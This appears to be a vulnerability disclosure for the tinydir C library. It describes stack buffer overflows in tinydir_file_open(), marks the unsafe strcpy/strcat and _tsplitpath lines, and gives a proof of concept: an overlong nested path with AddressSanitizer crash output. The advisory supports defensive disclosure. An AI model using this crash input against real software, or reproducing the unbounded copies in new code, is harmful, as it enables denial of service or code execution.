Summary
I spotted some buffer overflow vulnerabilities at the following locations in the tinydir source code:
https://github.com/cxong/tinydir/blob/master/tinydir.h#L675-L680
https://github.com/cxong/tinydir/blob/master/tinydir.h#L706
https://github.com/cxong/tinydir/blob/master/tinydir.h#L711
Details
Buffer overflows in the tinydir_file_open()
function, see marked lines below:
/* Open a single file given its path */
_TINYDIR_FUNC
int tinydir_file_open(tinydir_file *file, const _tinydir_char_t *path)
{
tinydir_dir dir;
int result = 0;
int found = 0;
_tinydir_char_t dir_name_buf[_TINYDIR_PATH_MAX];
_tinydir_char_t file_name_buf[_TINYDIR_FILENAME_MAX];
_tinydir_char_t *dir_name;
_tinydir_char_t *base_name;
#if (defined _MSC_VER || defined __MINGW32__)
_tinydir_char_t drive_buf[_TINYDIR_PATH_MAX];
_tinydir_char_t ext_buf[_TINYDIR_FILENAME_MAX];
#endif
if (file == NULL || path == NULL || _tinydir_strlen(path) == 0)
{
errno = EINVAL;
return -1;
}
if (_tinydir_strlen(path) + _TINYDIR_PATH_EXTRA >= _TINYDIR_PATH_MAX)
{
errno = ENAMETOOLONG;
return -1;
}
/* Get the parent path */
#if (defined _MSC_VER || defined __MINGW32__)
#if ((defined _MSC_VER) && (_MSC_VER >= 1400))
errno = _tsplitpath_s(
path,
drive_buf, _TINYDIR_DRIVE_MAX,
dir_name_buf, _TINYDIR_FILENAME_MAX,
file_name_buf, _TINYDIR_FILENAME_MAX,
ext_buf, _TINYDIR_FILENAME_MAX);
#else
_tsplitpath(
path,
drive_buf,
dir_name_buf,
file_name_buf,
ext_buf); // VULN: potential buffer overflow due to insecure splitpath api (https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/splitpath-wsplitpath?view=msvc-170)
#endif
if (errno)
{
return -1;
}
/* _splitpath_s not work fine with only filename and widechar support */
#ifdef _UNICODE
if (drive_buf[0] == L'\xFEFE')
drive_buf[0] = '\0';
if (dir_name_buf[0] == L'\xFEFE')
dir_name_buf[0] = '\0';
#endif
/* Emulate the behavior of dirname by returning "." for dir name if it's
empty */
if (drive_buf[0] == '\0' && dir_name_buf[0] == '\0')
{
_tinydir_strcpy(dir_name_buf, TINYDIR_STRING("."));
}
/* Concatenate the drive letter and dir name to form full dir name */
_tinydir_strcat(drive_buf, dir_name_buf);
dir_name = drive_buf;
/* Concatenate the file name and extension to form base name */
_tinydir_strcat(file_name_buf, ext_buf); // VULN: since sizeof(file_name_buf) + sizeof(ext_buf) is larger than sizeof(file_name_buf), we have a potential stack buffer overflow
base_name = file_name_buf;
#else
_tinydir_strcpy(dir_name_buf, path);
dir_name = dirname(dir_name_buf);
_tinydir_strcpy(file_name_buf, path); // VULN: since sizeof(file_name_buf) is smaller than the maximum path length, we have a potential stack buffer overflow
base_name = basename(file_name_buf);
#endif
/* Special case: if the path is a root dir, open the parent dir as the file */
#if (defined _MSC_VER || defined __MINGW32__)
if (_tinydir_strlen(base_name) == 0)
#else
if ((_tinydir_strcmp(base_name, TINYDIR_STRING("/"))) == 0)
#endif
{
memset(file, 0, sizeof * file);
file->is_dir = 1;
file->is_reg = 0;
_tinydir_strcpy(file->path, dir_name);
file->extension = file->path + _tinydir_strlen(file->path);
return 0;
}
/* Open the parent directory */
if (tinydir_open(&dir, dir_name) == -1)
{
return -1;
}
/* Read through the parent directory and look for the file */
while (dir.has_next)
{
if (tinydir_readfile(&dir, file) == -1)
{
result = -1;
goto bail;
}
if (_tinydir_strcmp(file->name, base_name) == 0)
{
/* File found */
found = 1;
break;
}
tinydir_next(&dir);
}
if (!found)
{
result = -1;
errno = ENOENT;
}
bail:
tinydir_close(&dir);
return result;
}
PoC
Step-by-step instructions to replicate the third vulnerability that's present at this location:
https://github.com/cxong/tinydir/blob/master/tinydir.h#L711
$ git clone https://github.com/cxong/tinydir
$ cd tinydir/samples/
$ gcc -g -fsanitize=address -I.. file_open_sample.c -o file_open_sample
$ mkdir -p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
$ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Path: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Extension:
Is dir? yes
Is regular file? no
$ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
=================================================================
==2533==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd1ecabeb0 at pc 0x7f37b22544bf bp 0x7ffd1ecaac10 sp 0x7ffd1ecaa3b8
WRITE of size 513 at 0x7ffd1ecabeb0 thread T0
#0 0x7f37b22544be in __interceptor_strcpy ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440
#1 0x5625cf301b69 in tinydir_file_open ../tinydir.h:711
#2 0x5625cf3021f4 in main /home/raptor/tinydir/samples/file_open_sample.c:12
#3 0x7f37b1e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#4 0x7f37b1e29e3f in __libc_start_main_impl ../csu/libc-start.c:392
#5 0x5625cf3004e4 in _start (/home/raptor/tinydir/samples/file_open_sample+0x24e4)
Address 0x7ffd1ecabeb0 is located in stack of thread T0 at offset 4704 in frame
#0 0x5625cf3018c3 in tinydir_file_open ../tinydir.h:641
This frame has 3 object(s):
[48, 4184) 'dir' (line 642)
[4448, 4704) 'file_name_buf' (line 646)
[4768, 8864) 'dir_name_buf' (line 645) <== Memory access at offset 4704 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440 in __interceptor_strcpy
Shadow bytes around the buggy address:
0x100023d8d780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100023d8d790: 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x100023d8d7a0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x100023d8d7b0: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00
0x100023d8d7c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100023d8d7d0: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 00 00
0x100023d8d7e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100023d8d7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100023d8d800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100023d8d810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100023d8d820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2533==ABORTING
The other two vulnerabilities are Windows-specific. It should be possible to replicate them by crafting long paths in a similar way.
Impact
If the input above crosses a security boundary, the impact of the buffer overflow vulnerabilities could range from denial of service to arbitrary code execution.
Summary
I spotted some buffer overflow vulnerabilities at the following locations in the tinydir source code:
https://github.com/cxong/tinydir/blob/master/tinydir.h#L675-L680
https://github.com/cxong/tinydir/blob/master/tinydir.h#L706
https://github.com/cxong/tinydir/blob/master/tinydir.h#L711
Details
Buffer overflows in the
tinydir_file_open()
function, see marked lines below:PoC
Step-by-step instructions to replicate the third vulnerability that's present at this location:
https://github.com/cxong/tinydir/blob/master/tinydir.h#L711
The other two vulnerabilities are Windows-specific. It should be possible to replicate them by crafting long paths in a similar way.
Impact
If the input above crosses a security boundary, the impact of the buffer overflow vulnerabilities could range from denial of service to arbitrary code execution.